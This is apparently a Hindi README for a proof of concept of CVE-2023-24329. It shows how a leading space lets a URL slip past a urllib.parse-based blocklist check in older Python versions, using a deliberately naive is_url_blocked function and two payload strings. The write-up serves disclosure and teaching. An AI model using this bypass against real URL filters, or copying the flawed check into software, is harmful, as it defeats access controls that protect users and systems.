
प्रूफ-ऑफ-कॉन्सेप्ट जो Python के urllib.parse में URL पार्सिंग बायपास (CVE-2023-24329) को प्रदर्शित करता है, जो स्पेस जोड़कर ब्लॉकलिस्ट को बायपास करने की अनुमति देता है।
URL पार्सिंग फ़ंक्शन किसी URL स्ट्रिंग को उसके घटकों में विभाजित करने, या URL घटकों को URL स्ट्रिंग में संयोजित करने पर केंद्रित होते हैं।
सीधे शब्दों में urllib.parse URL पार्स करने के लिए उपयोग किया जाता है, हम URL से पहले रिक्त स्थान जोड़कर इसे बायपास कर सकते हैं। यह पायथन 3.11.4 और उससे पहले के संस्करणों में होता है।
आइए example.py को समझें
यहाँ कुछ वेबसाइटों का एक सेट है जिन्हें आपको एक्सेस नहीं करना चाहिए:
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
यह फ़ंक्शन जाँचता है कि वेबसाइट ब्लॉक की गई सूची में है या नहीं, यदि यह ब्लॉक सूची में है तो इसे URL Blocked लौटाना चाहिए
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
अब मैंने दो URL जोड़े हैं और मैं जाँचता हूँ कि क्या उनमें से कोई ब्लॉक है और एक्सेस नहीं किया जा सकता:
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1 वह जगह है जहाँ मैंने is_url_blocked() को बायपास किया क्योंकि URL से पहले लंबा स्थान जोड़ने से urllib.parse.urlparse(url).geturl() बायपास हो जाएगा, यह उम्मीद के अनुसार निष्पादित नहीं होगा।
इसीलिए आउटपुट है
Bypassed
लेकिन payload2 पर हमें मिलता है
URL Blocked
यदि आप मुझे दान से सहायता करना चाहते हैं, तो मैं अनुशंसा करता हूँ कि आप इसे किसी ऐसे व्यक्ति को दें जिसे वास्तव में इसकी आवश्यकता है। यदि आप ऐसा करते हैं तो मान लें कि मैंने आपका समर्थन अर्जित कर लिया है।